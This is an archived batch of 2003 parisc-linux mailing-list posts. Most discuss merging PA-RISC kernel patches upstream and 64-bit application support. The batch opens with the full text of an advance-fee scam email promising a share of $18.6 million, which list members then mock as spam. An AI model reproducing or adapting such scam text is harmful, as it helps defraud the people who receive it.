Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] A VERY GOOD DAY TO YOU
Date: Wed, 10 Apr 2002 23:24:30 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20030409222424.2CAB84829@dsl2.external.hp.com>
Reply-To: nperrucci5@caramail.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622375 24548 80.91.229.3 (22 Nov 2014 02:12:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  9 16:24:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mxcson2467.com (unknown [66.133.54.183])
	by dsl2.external.hp.com (Postfix) with SMTP id 2CAB84829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Apr 2003 16:24:24 -0600 (MDT)
X-Mailer: Microsoft Outlook Express 5.00.2919.6900 DM
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18222

Prince=2E Perrucci Nniga
Tel=3A 44-07956183438
Email=3A nperrucci5=40caramail=2Ecom

ATTN=3ADIRECTOR=2FC=2EE=2EO
I got your E-mail address and=2Cother details from your country's trade journal=2EI am Mr=2EPerrucci Nniga=2Cfrom the republic of Angola=2EMy father was the personal Assistant to the Exterior Affairs Minister in the Government of the Angolan leader JONAS SAVIMBI=2EAt the mid term of the rebellion which is still on untill this=2Cmy father thinking fast decided to send my younger brother and I out of Angola because the fate of our country was yet to be decided=2EMy brother and I left Angola for u=2Ek London with a total sum of US$18=2E6Million{eighteen Million Six Hundred Thousand United States Dollars}sealed in a diplomatic box meant for the purchase of arms from Sou th Africa=2E
On arrival to London=2Cbecause we are political asylum seekers=2Cwe were not allowed to operate a bank account=2ESo with the instruction of my father=2CI deposited the money in a security company=2Cthough I did not reveal the contents of the metal box to them=2Cbecause we wanted to be on the safe side=2EI told them that the metal box belongs to my foreign affiliate who is the beneficiary of the item=2E
Unfortunately=2Cbecause of my father's politcal position and influence he was assassinated together with my mother=2Csince then we have been looking for a reliable and trustworthy person to help us transfer this money into a foreign account overseas prior to investment in that country or any other conductive country overseas=2EBut it has to be a less tax demanding country=2Cand luckily I ran into your E-mail address and other details and decided to contact you hoping that you will
be of assistance=2Cand you will have 20% of this money and 5% will be earmarked cover expenses cotingencies=2E
And pls if you ever find it in your heart to help me=2Ccontact me by the above E-mail address a return call on the number above=2E
I look forward to your urgent response=2E
best regards=2C
Perrucci Nniga=2E




From - Thu Nov 08 21:27:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stan Sieler <sieler@allegro.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A VERY GOOD DAY TO YOU
Date: Wed, 9 Apr 2003 15:36:04 -0700 (PDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200304092236.h39Ma4p19125@opus.allegro.com>
References: <20030409222424.2CAB84829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622376 24553 80.91.229.3 (22 Nov 2014 02:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  9 16:36:05 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from opus.allegro.com (opus.allegro.com [209.10.39.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 398FF4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  9 Apr 2003 16:36:05 -0600 (MDT)
Original-Received: (from sieler@localhost)
	by opus.allegro.com (8.11.6/8.11.6) id h39Ma4p19125
	for parisc-linux@lists.parisc-linux.org; Wed, 9 Apr 2003 15:36:04 -0700
In-Reply-To: <20030409222424.2CAB84829@dsl2.external.hp.com> from "PRINCE. PERRUCCI NNIGA" at Apr 10, 2002 11:24:30 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18223

Re:

> Prince. Perrucci Nniga
...
> be of assistance,and you will have 20% of this money and 5% will be earmarked cover expenses cotingencies.

Hey...maybe we can use this to fund the PA-RISC / Linux project!


Incompetent scammers/spammers are the worst kind.

-- 
Stan Sieler                                           sieler@allegro.com
www.allegro.com/sieler/wanted/index.html                  www.sieler.com


From - Thu Nov 08 21:27:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Wed, 9 Apr 2003 23:50:03 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <20030410055003.GB21872@dsl2.external.hp.com>
References: <20030409054929.GB21306@dsl2.external.hp.com> <3E947323.14900.19F1E3AF@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622376 24556 80.91.229.3 (22 Nov 2014 02:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: pageexec@freemail.hu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  9 23:50:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 5877A4829; Wed,  9 Apr 2003 23:50:03 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3E947323.14900.19F1E3AF@localhost>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18224

On Wed, Apr 09, 2003 at 07:23:15PM +0200, pageexec@freemail.hu wrote:
> > > To willy's credit, he's attempted to merge 2.4 parisc changes upstream
> > > at least twice but was torpedo'd both times.
> > 
> > i don`t want to know ;-)
> 
> actually, i'd like to (feel free to answer off-list),

Once the 2.4.20-preX bk tree that willy was using as "parent"
was discarded by marcelo because of other bugs in patches.
Or marcelo wouldn't accept the patch because he had a -pre candidate
and didn't want to risk that. Just stuff like that.

> since for all the
> other archs grsec/PaX runs on we could compile a working kernel from the
> vanilla tree - it just seems a mystery why parisc is an exception (not
> blaming anyone, just would like to see it more clear).

As willy noted, parisc is not an exception. last time willy looked at
merging, the 2.4 diff was something like 2 or 3MB. I'd hope it's a bit
smaller since Alan Cox merge a bunch of stuff into his tree.
But I haven't looked if/when Marcelo picked any of that up.
For comparison, last I heard, the 2.5 diff is something like < 100KB.

grant


From - Thu Nov 08 21:27:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?=22Beerse=2C_Corn=E9=22?= <c.beerse@torex-hiscom.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] A VERY GOOD DAY TO YOU
Date: Thu, 10 Apr 2003 10:06:03 +0200
Lines: 96
Approved: news@gmane.org
Message-ID: <03Apr10.102517cest.119124@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C2FF38.07A5E800"
X-Trace: ger.gmane.org 1416622376 24561 80.91.229.3 (22 Nov 2014 02:12:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:56 +0000 (UTC)
To: "'Stan Sieler'" <sieler@allegro.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 10 02:06:18 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiscom.nl (unknown [130.78.143.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 654474829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Apr 2003 02:06:16 -0600 (MDT)
Original-Received: by ns.hiscom.nl id <119124>; Thu, 10 Apr 2003 10:25:17 +0200
X-Mailer: Internet Mail Service (5.5.2656.59)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18225

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C2FF38.07A5E800
Content-Type: text/plain;
	charset="iso-8859-1"

> -----Original Message-----
> From: Stan Sieler [mailto:sieler@allegro.com]
> Sent: donderdag 10 april 2003 00:36
> To: parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] A VERY GOOD DAY TO YOU
> 
> 
> Re:
> 
> > Prince. Perrucci Nniga
> ...
> > be of assistance,and you will have 20% of this money and 5% 
> will be earmarked cover expenses cotingencies.
> 
> Hey...maybe we can use this to fund the PA-RISC / Linux project!

I think the project first needs to be based in Nigaragua...

> 
> 
> Incompetent scammers/spammers are the worst kind.

I recently read somewhere that Nigaragua (and maybe some other coutries)
have this scam as their 3rt of 4th largest source of income...


CBee

------_=_NextPart_001_01C2FF38.07A5E800
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2654.45">
<TITLE>RE: [parisc-linux] A VERY GOOD DAY TO YOU</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>&gt; -----Original Message-----</FONT>
<BR><FONT SIZE=3D2>&gt; From: Stan Sieler [<A =
HREF=3D"mailto:sieler@allegro.com">mailto:sieler@allegro.com</A>]</FONT>=

<BR><FONT SIZE=3D2>&gt; Sent: donderdag 10 april 2003 00:36</FONT>
<BR><FONT SIZE=3D2>&gt; To: parisc-linux@lists.parisc-linux.org</FONT>
<BR><FONT SIZE=3D2>&gt; Subject: Re: [parisc-linux] A VERY GOOD DAY TO =
YOU</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Re:</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; &gt; Prince. Perrucci Nniga</FONT>
<BR><FONT SIZE=3D2>&gt; ...</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; be of assistance,and you will have 20% of =
this money and 5% </FONT>
<BR><FONT SIZE=3D2>&gt; will be earmarked cover expenses =
cotingencies.</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Hey...maybe we can use this to fund the PA-RISC =
/ Linux project!</FONT>
</P>

<P><FONT SIZE=3D2>I think the project first needs to be based in =
Nigaragua...</FONT>
</P>

<P><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; Incompetent scammers/spammers are the worst =
kind.</FONT>
</P>

<P><FONT SIZE=3D2>I recently read somewhere that Nigaragua (and maybe =
some other coutries) have this scam as their 3rt of 4th largest source =
of income...</FONT></P>
<BR>

<P><FONT SIZE=3D2>CBee</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C2FF38.07A5E800--


From - Thu Nov 08 21:27:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Thu, 10 Apr 2003 12:19:26 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20030410111926.GR23430@parcelfarce.linux.theplanet.co.uk>
References: <20030409054929.GB21306@dsl2.external.hp.com> <3E947323.14900.19F1E3AF@localhost> <20030410055003.GB21872@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622377 24566 80.91.229.3 (22 Nov 2014 02:12:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:57 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 10 05:19:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 72A8D4829; Thu, 10 Apr 2003 05:19:28 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 193a5W-0006lF-VF; Thu, 10 Apr 2003 12:19:26 +0100
Content-Disposition: inline
In-Reply-To: <20030410055003.GB21872@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18226

On Wed, Apr 09, 2003 at 11:50:03PM -0600, Grant Grundler wrote:
> > actually, i'd like to (feel free to answer off-list),
> 
> Once the 2.4.20-preX bk tree that willy was using as "parent"
> was discarded by marcelo because of other bugs in patches.
> Or marcelo wouldn't accept the patch because he had a -pre candidate
> and didn't want to risk that. Just stuff like that.

And other people were patching things in the parisc-specific directories
which conflicted with my patches ;-(

> As willy noted, parisc is not an exception. last time willy looked at
> merging, the 2.4 diff was something like 2 or 3MB. I'd hope it's a bit
> smaller since Alan Cox merge a bunch of stuff into his tree.
> But I haven't looked if/when Marcelo picked any of that up.
> For comparison, last I heard, the 2.5 diff is something like < 100KB.

-rw-r--r--    1 willy    willy      202871 Apr  8 20:54 parisc-2.5.diff
although most of that is:
-rw-r--r--    1 willy    willy      170361 Mar 18 18:46 parisc-hil.diff

$ zcat ../ftp/cvs/patch-2.4.20-pa32.diff.gz |wc
  91100  503494 3691507

that's not the full story since a large chunk of that's been merged into
2.4.21-pre, but i have no idea how much would be remaining.

if anyone had the time, we could track 2.4.21-pre more closely.  but it's
just not worth it.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Andr=E9_Luiz_Castilhos_Magoga?= <magoga@tteng.com.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64 bits apps
Date: Thu, 10 Apr 2003 14:05:36 -0300
Organization: T&T Engenheiros Associados Ltda.
Lines: 27
Approved: news@gmane.org
Message-ID: <000201c2ff83$6aaf57b0$7900a8c0@tteng.com.br>
Reply-To: <magoga@tteng.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622377 24570 80.91.229.3 (22 Nov 2014 02:12:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:57 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 10 11:05:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from einstein.tteng.com.br (unknown [200.203.41.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A6A24829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Apr 2003 11:05:51 -0600 (MDT)
Original-Received: (from root@localhost)
	by einstein.tteng.com.br (8.11.6/8.11.6) id h3AH5m419699
	for parisc-linux@lists.parisc-linux.org; Thu, 10 Apr 2003 14:05:48 -0300
Original-Received: from MAGOGA (magoga.tteng.com.br [192.168.0.121])
	by einstein.tteng.com.br (8.11.6/8.11.6) with ESMTP id h3AH5lY19691
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Apr 2003 14:05:47 -0300
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18227

Hi, I=92m a software engineer in Brazil, working with Linux System
Development and IPF and PA-RISC based machines.=20
I started to read this mailing list just a few weeks ago and first I=92d
like to say you guys are doing a great work in this project!=20
After study the patches you released and browsing this mailing list I
was wondering why are the issues with the use of ELF64 binary format for
the apps? Is there any problem with the use of ELF64, or you have any
project goal that doesn=92t recommend its use?
Another question I have is regarding the 64 bits development tools (for
apps) current status. What are the recommended tools to generate 64 bits
apps?
Sorry if I=92m asking some pretty obvious questions (or if you had to
answer them a hundred times!! :-))), but I wasn=92t able to find an =
answer
in the mailing list archives.
I would appreciate very much your answer for my question, because I=92m
very interested in running 64 bits apps in Linux/PA-RISC and I can even
contribute some work in this area, if my manager accepts a project
proposal I=92m currently doing.

Thanks,
Andr=E9 Magoga
SW Engineer =96 T&T





From - Thu Nov 08 21:27:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 bits apps
Date: Thu, 10 Apr 2003 18:29:51 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20030410172951.GC11811@parcelfarce.linux.theplanet.co.uk>
References: <000201c2ff83$6aaf57b0$7900a8c0@tteng.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622377 24573 80.91.229.3 (22 Nov 2014 02:12:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Andr=E9?= Luiz Castilhos Magoga <magoga@tteng.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 10 11:29:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id A411A4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Apr 2003 11:29:56 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 193frz-0003rK-JG; Thu, 10 Apr 2003 18:29:51 +0100
Content-Disposition: inline
In-Reply-To: <000201c2ff83$6aaf57b0$7900a8c0@tteng.com.br>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18228

On Thu, Apr 10, 2003 at 02:05:36PM -0300, Andr Luiz Castilhos Magoga wrote:
> Hi, Im a software engineer in Brazil, working with Linux System
> Development and IPF and PA-RISC based machines. 

Yes, your colleague asked about it here:
http://lists.parisc-linux.org/pipermail/parisc-linux/2003-April/019668.html

and was given references.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] A VERY GOOD DAY TO YOU
Date: Fri, 11 Apr 2003 10:56:34 +0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20030411105631.A1889@neep.com.au>
References: <03Apr10.102517cest.119124@ns.hiscom.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622377 24576 80.91.229.3 (22 Nov 2014 02:12:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Apr 10 20:58:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from guinness.internal.neep.com.au (i112-081.nv.iinet.net.au [203.59.112.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 51DBB4829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 10 Apr 2003 20:58:49 -0600 (MDT)
Original-Received: (from andrew@localhost)
	by guinness.internal.neep.com.au (8.9.3/8.9.3/Debian/GNU) id KAA02839
	for parisc-linux@lists.parisc-linux.org; Fri, 11 Apr 2003 10:56:37 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <03Apr10.102517cest.119124@ns.hiscom.nl>; from c.beerse@torex-hiscom.nl on Thu, Apr 10, 2003 at 10:06:03AM +0200
X-URL: http://www.neep.com.au/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18229

"Beerse, Corn" said:
> I recently read somewhere that Nigaragua (and maybe some other coutries)
> have this scam as their 3rt of 4th largest source of income...

I think you mean Nigeria, not Nicaragua.  =)

Andrew.

-- 
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."


From - Thu Nov 08 21:27:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Fri, 11 Apr 2003 07:40:32 +0200
Lines: 211
Approved: news@gmane.org
